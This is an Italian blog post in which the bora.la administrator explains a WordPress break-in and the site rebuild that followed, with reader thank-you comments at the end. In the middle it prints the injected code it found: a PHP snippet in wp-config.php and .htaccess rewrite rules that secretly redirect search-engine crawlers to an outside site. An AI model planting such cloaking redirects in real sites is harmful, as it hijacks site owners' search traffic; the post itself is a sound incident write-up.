Quanti visitano regolarmente questo blog si saranno probabilmente accorti che negli ultimi tempi c’è stato qualche cambiamento: gli spot pubblicitari che andavano e venivano, altre sezioni che cambiavano di posizione, commenti che a tratti non funzionavano e l’elenco degli autori che risultava vuoto. Ora che il trambusto è passato ed il blog è tornato stabile due righe per spiegare a tutti l’accaduto ci vogliono.
Per chi non avesse pazienza per i dettagli il succo è che il programma che fa girare il blog è stato aggiornato all’ultima versione, cosa che prima o poi bisognava fare perché la versione precedente (la 2.3.1) risaliva ormai al dicembre 2007 ed era ormai al di là di qualsiasi pretesa di affidabilità. Fin qui, tutto bene. Meno bene, invece, il motivo per cui ci si è messi a farlo proprio ora in fretta e furia: perché li fuori qualcuno ci vuole male. Non c’è un modo per dirlo con diplomazia: una o più persone malintenzionate e non autorizzate si sono introdotte all’interno dei meccanismi del sito e vi hanno introdotto codice ostile.
I paragrafi seguenti cercheranno di essere un compromesso tra comprensibilità e dettagliatezza. Di regola, i paragrafi in corsivo sono prettamente tecnici e li pubblico qua nella speranza che possano venir utili a chi, anche in futuro, si trovasse ad affrontare un problema analogo – il lettore casuale può tralasciarli. I paragrafi rimanenti vorrebbero invece essere una spiegazione in parole povere dell’accaduto, destinata anche a chi non si occupa di questo genere di cose.
Il tutto è cominciato a metà gennaio, quando emm si è accorto che il PageRank di bora.la su Google, che sarebbe il giudizio del motore di ricerca sull’autorevolezza e credibilità dei contenuti di un sito, stava precipitando in caduta libera. Un primo controllo sommario non portava a risultati di rilievo, con al massimo qualche dubbio riguardo ai contenuti della sitemap XML, un file in formato particolare che i motori di ricerca utilizzano per leggere l’elenco completo delle pagine di un sito e vedere che non gli sia sfuggito qualcosa.
Visto il perdurare della rogna l’Alta Direzione mi incaricava di addentrarmi nei meandri del sito e scovare l’inghippo – possibilmente risolvendolo in via definitiva. Bersaglio centrato già al primo tentativo: all’interno del primissimo file esaminato, quello che contiene la configurazione principale del sito e viene letto per ogni pagina vista dai visitatori, una singola riga di codice molto sospetta: un reindirizzamento verso un sito estraneo che entrava in funzione per ogni richiesta di pagina che provenisse da Google. Risultato netto: mentre i visitatori umani accedevano alla pagina richiesta e, di conseguenza, nessuno di noi si accorgeva di niente, ogni volta che Google veniva a vedere cosa c’era di nuovo gli veniva risposto che su bora.la non c’era più niente del tutto e di andare invece a vedere da un altra parte. L’altra parte sarebbe, in soldoni, un sito che non c’entra nulla con bora.la e che ha tutta l’aria di essere lì dove sta per qualche scopo men che legittimo.
Per rendere la faccenda più complicata ancora, eliminata tale riga di codice e controllato il risultato è venuto fuori che non era l’unica: un’altra riga uguale era presente all’interno di un altro file letto ad ogni pagina servita, quello che contiene la parte superiore delle pagine col titolo, il menu ed i ghirigori dell’immagine di sfondo. Ancora una ce n’era: scritta in modo completamente differente e nascosta all’interno della configurazione locale del server stesso – questa volta il reindirizzamento entrava in funzione anche per Yahoo! e MSN Live.
La prima istruzione di reindirizzamento si trovava all’interno del file wp-config.php, alla fine della configurazione del database. Questa è l’istruzione:
$agent = $_SERVER[‘HTTP_USER_AGENT’];
if (eregi(“google”, $agent))
{
header(“HTTP/1.1 301”);
header(“Location: http://sitobalordo.com/”);
exit();
}
La prima riga assegna alla variabile $agent il contenuto del Request Header User-Agent con cui il client si presenta al server, la seconda confronta tale variabile colla stringa ‘google’ (senza riguardo per maiuscole e minuscole), in caso affermativo vengono eseguite le righe successive racchiuse tra parentesi graffe: la prima restituisce al client in codice di risposta HTTP 301 ‘Moved Permanently’, la seconda reindirizza il client verso un’altra destinazione (in cui dovrebbe trovarsi il contenuto precedentemente su bora.la, in teoria), la terza interrompe l’esecuzione degli script.
Una riga uguale era ulteriormente nascosta all’interno del file wp-blog-header.php. Diverso il contenuto del file .htaccess della root del server (da notare che il codice iniziava a riga 143 e continuava a riga 210 del file, quindi a centinaia di righe di distanza dal termine del codice legittimo e dunque non visibile alla prima occhiata sommaria):
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot)
RewriteRule ^ http://sitobalordo.com/ [R=301,L]
Rimosso il codice da queste tre posizioni il sito di bora.la ritornava ad essere visibile anche dai motori di ricerca. Rimaneva ovviamente il dubbio di quali altre soprese potessero esserci nascoste in questo o quel file. Constatato che esaminare a mano uno per uno i 2.146 file che facevano parte del motore del blog era a dir poco impraticabile la scelta ovvia era quella di togliere tutto e installarci l’ultimissima versione di WordPress – quel che si dice un installazione pulita.
A questo punto il problema diventava quello di trasformare tale installazione standard e far diventare il sito uguale a com’era prima. Visto che all’epoca nessuno ha fatto un elenco delle personalizzazioni, modifiche e configurazioni applicate il tutto è stato effettuato andando per tentativi, confrontando il risultato con una copia esatta delle ‘vecchia bora’ che è stata reinstallata per l’occasione su un altro server (inaccessibile al pubblico). Di qui i vari ‘effetti speciali’ che facevano cambiare il sito da un giorno all’altro: stavamo cercando di ricostruire il sito un pezzo alla volta. Primo problema affrontato – senza grandi difficoltà – quello di rimettere in testa alla colonna laterale il riquadro contenente i titoli degli ultimi post in Primo piano; meno facile invece ripristinare gli spot pubblicitari di Google, che dopotutto aiutano a far sopravvivere tutto lo show. Primo a rispuntare lo spot della colonna laterale, con vari stratagemmi per imporgli una larghezza fissa compatibile colle dimensioni della colonna stessa; poi sono tornati i due inserti sopra e sotto il primo post, ma contemporaneamente è ri-sparito quello laterale. Il balletto del “ti vedo, non ti vedo” è durato qualche giorno fino a trovare il compromesso giusto. Uguale percorso anche per i tag elencati sotto i post, con due plugin differenti che si contendevano lo stesso spazio.
Una volta ripristinati questi particolari e ritrovato il codice che crea la pagina degli autori è stata la volta dell’aspetto visivo, particolarmente ostico riguardo alle dimensioni dell’immagine di sfondo della testata e del contenuto del menù principale. Contemporaneamente a questo lavorio pubblicamente visibile altri accorgimenti venivano adottati per aumentare la sicurezza del sito, ben oltre la semplice sostituzione delle password. Tutto bene fin qui? Macché! Dopo qualche giorno ci siano accorti che uno di questi accorgimenti aveva rotto il meccanismo dei commenti…
Dalla versione 2.6 WordPress offre la possibilità di spostare fuori dalla server root il file di configurazione wp-config.php. Come si è scoperto, WordPress supporta sì questa manovra, ma non tutti i componenti aggiuntivi lo fanno. Nel nostro caso ad andare in tilt è stata la funzionalità LiveComment del tema 3ColumnK2 gestita dal file ajax-comments.php. Dopo vari tentativi di dare staticamente la posizione della configurazione a questo file non è rimasto altro che disabilitare LiveComment. Invece di usare XmlHttpRequest per inserire i commenti in fondo alla pagina senza ricaricare la stessa il blog utilizza ora un form convenzionale per spedire il contenuto del commento al server e richiedere un nuovo invio della pagina.
L’ultima fase del restauro di bora.la riguardava la configurazione del server coll’attivazione della compressione dei contenuti statici (script e fogli di stile) e l’abilitazione del caching delle immagini in modo da velocizzare il caricamento delle pagine; allo stesso tempo i Webmaster Tools di Google permettevano di verificare il corretto funzionamento della Sitemap e di chiedere al motore di ricerca di ‘dimenticare’ quanto rifilatogli dal codice intruso. L’immagine seguente permette di vedere gli effetti di queste mosse: il grafico verde indica la quantità di kilobyte che Google ha raccolto sul sito. Spiccano il crollo a fine dicembre, quando l’intruso ha presumibilmente compiuto il misfatto, e la costante risalita a partire da fine gennaio – quanto bora.la è tornato a posto.
Questo è quanto: in questo momento dovrebbe, per quanto abbiamo potuto verificare, funzionare tutto. Se qualcuno si accorgesse di qualche particolare che ci è sfuggito è gentilmente pregato di avvisarne il conducente.
Che Iddio li…
grande Dejan e soprattutto grazie mille, da tutti
grazie anche per le spiegazioni. in effetti mi stavo chiedendo il perche’ di alcune differenze….pensavo ad un semplice upgrade
ho notato che provando a commentare talvolta escono degli strani messaggi (righe di codice immagino, mi no capisso gnente de compiuter)
comunque adesso c’e’ anche la legge sul filtraggio dei sitia cui accenna grillo nel post di venerdi scorso…quindi il nemico ci ascolta, ci spia…
Grazie a Dejan, e me spiasi de no gaver podudo iutar (probabilmente, no saria stado bon comunque).
Bel lavor!
Bravo!
Stavo per abbandonare bora.ja, perche’ non “funzionava” piu’…
E grazie!
grande dejan!
io che capisco davvero poco di pc pensavo che fosse un problema del mio pc, della mia linea… insomma, colpa mia! 🙂
e in questo momento google torna a indicizzarci come una volta!
pagerank tornato a 4!
: )))